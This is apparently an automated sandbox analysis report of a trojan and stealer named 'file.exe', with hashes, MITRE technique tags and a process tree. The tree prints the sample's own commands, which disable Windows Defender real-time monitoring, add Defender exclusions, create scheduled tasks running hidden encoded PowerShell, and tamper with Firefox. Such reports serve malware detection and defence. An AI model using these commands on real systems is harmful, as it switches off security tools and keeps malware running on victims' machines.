46790cddcb4afe5315d60e343cf02917fec3466ad902302d03fb0876bf12d313

Analysis

max time kernel
150s
max time network
153s
platform
windows7_x64
resource
win7-20221111-en
resource tags

arch:x64arch:x86image:win7-20221111-enlocale:en-usos:windows7-x64system
submitted
02/02/2023, 16:11

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

file.exe
Size

7.3MB
MD5

8dda07df050a4ec819166e017f89531d
SHA1

1e77cc63ce92671ae88914fdd9913b4b783c60af
SHA256

46790cddcb4afe5315d60e343cf02917fec3466ad902302d03fb0876bf12d313
SHA512

0146a817cca81f659987762eff2f0f815ff07e8f4ada5aacab67881e436525d4c15477d376702eba43f7ec96c12218a1bd9cf31ac41a8ab4c1d880d353ba970b
SSDEEP

196608:91OFZEjQWk8PRLhfoBSM0RTb1cB8OJqi+DKUKhQKdwM:3OFZEldv55K8OJz+cZ

Score

10^/10

evasion spyware stealer trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Windows security bypass 2 TTPs 36 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\DExmmXYjpjEAC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\sEUijaImlLDU2 = "0"	conhost.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\AwyklTHDU = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\BMiprIMoSJUn = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	Process not Found
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\BMiprIMoSJUn = "0"	Process not Found
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\llUTaFzUGHfSWLjQOrR = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\kRLCUbwYATZBDbHkg = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\DExmmXYjpjEAC = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\zxMrnItEVGjmkVVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\kRLCUbwYATZBDbHkg = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\fGjIrJkbIWacuYsE = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\fGjIrJkbIWacuYsE = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\sEUijaImlLDU2 = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\fGjIrJkbIWacuYsE = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\AwyklTHDU = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData\zxMrnItEVGjmkVVB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\fGjIrJkbIWacuYsE = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\llUTaFzUGHfSWLjQOrR = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	conhost.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

Executes dropped EXE 4 IoCs

pid	Process
1616	Install.exe
436	Install.exe
2044	xNKtKFq.exe
1560	CuXqExg.exe

Loads dropped DLL 8 IoCs

pid	Process
832	file.exe
1616	Install.exe
1616	Install.exe
1616	Install.exe
1616	Install.exe
436	Install.exe
436	Install.exe
436	Install.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Drops file in System32 directory 9 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	CuXqExg.exe
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	xNKtKFq.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	xNKtKFq.exe
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	xNKtKFq.exe

Drops file in Program Files directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Mozilla Firefox\browser\omni.ja	CuXqExg.exe
File created	C:\Program Files (x86)\AwyklTHDU\TVczMA.dll	CuXqExg.exe
File created	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	CuXqExg.exe
File opened for modification	C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi	CuXqExg.exe
File created	C:\Program Files\Mozilla Firefox\browser\omni.ja.bak	CuXqExg.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\Tasks\bxiaabwVXPExYdJTLC.job	schtasks.exe
File created	C:\Windows\Tasks\qfjaEBkGUlGShblRK.job	schtasks.exe
File created	C:\Windows\Tasks\fiXWxnGyiwPSftV.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 7 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
840	schtasks.exe
1776	schtasks.exe
1020	schtasks.exe
700	schtasks.exe
2040	schtasks.exe
1176	schtasks.exe
596	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe

Modifies data under HKEY_USERS 19 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	wscript.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	CuXqExg.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	CuXqExg.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	CuXqExg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	CuXqExg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	CuXqExg.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	CuXqExg.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	CuXqExg.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	CuXqExg.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0"	CuXqExg.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host\Settings	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	wscript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	CuXqExg.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
1516	powershell.EXE
1516	powershell.EXE
1516	powershell.EXE
1020	powershell.EXE
1020	powershell.EXE
1020	powershell.EXE
1052	powershell.EXE
1052	powershell.EXE
1052	powershell.EXE
1292	powershell.EXE
1292	powershell.EXE
1292	powershell.EXE
1560	CuXqExg.exe
1560	CuXqExg.exe
1560	CuXqExg.exe
1560	CuXqExg.exe
1560	CuXqExg.exe
1560	CuXqExg.exe
1560	CuXqExg.exe
1560	CuXqExg.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1516	powershell.EXE
Token: SeDebugPrivilege	1020	powershell.EXE
Token: SeDebugPrivilege	1052	powershell.EXE
Token: SeDebugPrivilege	1292	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 832 wrote to memory of 1616	832	file.exe	28
PID 832 wrote to memory of 1616	832	file.exe	28
PID 832 wrote to memory of 1616	832	file.exe	28
PID 832 wrote to memory of 1616	832	file.exe	28
PID 832 wrote to memory of 1616	832	file.exe	28
PID 832 wrote to memory of 1616	832	file.exe	28
PID 832 wrote to memory of 1616	832	file.exe	28
PID 1616 wrote to memory of 436	1616	Install.exe	29
PID 1616 wrote to memory of 436	1616	Install.exe	29
PID 1616 wrote to memory of 436	1616	Install.exe	29
PID 1616 wrote to memory of 436	1616	Install.exe	29
PID 1616 wrote to memory of 436	1616	Install.exe	29
PID 1616 wrote to memory of 436	1616	Install.exe	29
PID 1616 wrote to memory of 436	1616	Install.exe	29
PID 436 wrote to memory of 1844	436	Install.exe	31
PID 436 wrote to memory of 1844	436	Install.exe	31
PID 436 wrote to memory of 1844	436	Install.exe	31
PID 436 wrote to memory of 1844	436	Install.exe	31
PID 436 wrote to memory of 1844	436	Install.exe	31
PID 436 wrote to memory of 1844	436	Install.exe	31
PID 436 wrote to memory of 1844	436	Install.exe	31
PID 436 wrote to memory of 1768	436	Install.exe	33
PID 436 wrote to memory of 1768	436	Install.exe	33
PID 436 wrote to memory of 1768	436	Install.exe	33
PID 436 wrote to memory of 1768	436	Install.exe	33
PID 436 wrote to memory of 1768	436	Install.exe	33
PID 436 wrote to memory of 1768	436	Install.exe	33
PID 436 wrote to memory of 1768	436	Install.exe	33
PID 1844 wrote to memory of 1052	1844	forfiles.exe	35
PID 1844 wrote to memory of 1052	1844	forfiles.exe	35
PID 1844 wrote to memory of 1052	1844	forfiles.exe	35
PID 1844 wrote to memory of 1052	1844	forfiles.exe	35
PID 1844 wrote to memory of 1052	1844	forfiles.exe	35
PID 1844 wrote to memory of 1052	1844	forfiles.exe	35
PID 1844 wrote to memory of 1052	1844	forfiles.exe	35
PID 1768 wrote to memory of 1528	1768	forfiles.exe	36
PID 1768 wrote to memory of 1528	1768	forfiles.exe	36
PID 1768 wrote to memory of 1528	1768	forfiles.exe	36
PID 1768 wrote to memory of 1528	1768	forfiles.exe	36
PID 1768 wrote to memory of 1528	1768	forfiles.exe	36
PID 1768 wrote to memory of 1528	1768	forfiles.exe	36
PID 1768 wrote to memory of 1528	1768	forfiles.exe	36
PID 1052 wrote to memory of 1104	1052	cmd.exe	37
PID 1052 wrote to memory of 1104	1052	cmd.exe	37
PID 1052 wrote to memory of 1104	1052	cmd.exe	37
PID 1052 wrote to memory of 1104	1052	cmd.exe	37
PID 1052 wrote to memory of 1104	1052	cmd.exe	37
PID 1052 wrote to memory of 1104	1052	cmd.exe	37
PID 1052 wrote to memory of 1104	1052	cmd.exe	37
PID 1528 wrote to memory of 1812	1528	cmd.exe	38
PID 1528 wrote to memory of 1812	1528	cmd.exe	38
PID 1528 wrote to memory of 1812	1528	cmd.exe	38
PID 1528 wrote to memory of 1812	1528	cmd.exe	38
PID 1528 wrote to memory of 1812	1528	cmd.exe	38
PID 1528 wrote to memory of 1812	1528	cmd.exe	38
PID 1528 wrote to memory of 1812	1528	cmd.exe	38
PID 1052 wrote to memory of 1448	1052	cmd.exe	39
PID 1052 wrote to memory of 1448	1052	cmd.exe	39
PID 1052 wrote to memory of 1448	1052	cmd.exe	39
PID 1052 wrote to memory of 1448	1052	cmd.exe	39
PID 1052 wrote to memory of 1448	1052	cmd.exe	39
PID 1052 wrote to memory of 1448	1052	cmd.exe	39
PID 1052 wrote to memory of 1448	1052	cmd.exe	39
PID 1528 wrote to memory of 2040	1528	cmd.exe	40

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:832
- C:\Users\Admin\AppData\Local\Temp\7zS1F25.tmp\Install.exe
  .\Install.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1616
- - C:\Users\Admin\AppData\Local\Temp\7zS2B55.tmp\Install.exe
    .\Install.exe /S /site_id "385111"
    3⤵
    - Checks BIOS information in registry
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Enumerates system info in registry
    - Suspicious use of WriteProcessMemory
    PID:436
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1844
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1052
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        6⤵
        
        PID:1104
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        6⤵
        
        PID:1448
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1768
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1528
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:1812
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:2040
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "ggTRqrpHu" /SC once /ST 12:31:41 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
      4⤵
      Creates scheduled task(s)
      PID:1020
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /I /tn "ggTRqrpHu"
      4⤵
      PID:108
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "ggTRqrpHu"
      4⤵
      PID:1492
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "bxiaabwVXPExYdJTLC" /SC once /ST 17:13:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\kRLCUbwYATZBDbHkg\YfTMuvwSzqoKHZV\xNKtKFq.exe\" aR /site_id 385111 /S" /V1 /F
      4⤵
      Drops file in Windows directory
      Creates scheduled task(s)
      PID:700

C:\Windows\system32\taskeng.exe
taskeng.exe {B366B78F-2DBB-4E64-9477-E439FE4537CE} S-1-5-21-3406023954-474543476-3319432036-1000:VUIIVLGQ\Admin:Interactive:[1]
1⤵
PID:1632
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1516
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1020
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1052
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:2016
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1292
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1328

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1972

C:\Windows\system32\taskeng.exe
taskeng.exe {880E051E-2153-4C86-B6A2-F1A2E6B81629} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1104
- C:\Users\Admin\AppData\Local\Temp\kRLCUbwYATZBDbHkg\YfTMuvwSzqoKHZV\xNKtKFq.exe
  C:\Users\Admin\AppData\Local\Temp\kRLCUbwYATZBDbHkg\YfTMuvwSzqoKHZV\xNKtKFq.exe aR /site_id 385111 /S
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  PID:2044
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gFfrstQgi" /SC once /ST 15:14:55 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:2040
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gFfrstQgi"
    3⤵
    PID:1384
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gFfrstQgi"
    3⤵
    PID:1008
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
    3⤵
    PID:1944
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:1132
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
    3⤵
    PID:388
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:1760
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gkGJjsoyd" /SC once /ST 12:56:38 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:1176
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gkGJjsoyd"
    3⤵
    PID:1472
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gkGJjsoyd"
    3⤵
    PID:1172
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\fGjIrJkbIWacuYsE" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:280
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\fGjIrJkbIWacuYsE" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:836
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\fGjIrJkbIWacuYsE" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1688
  - - C:\Windows\SysWOW64\reg.exe
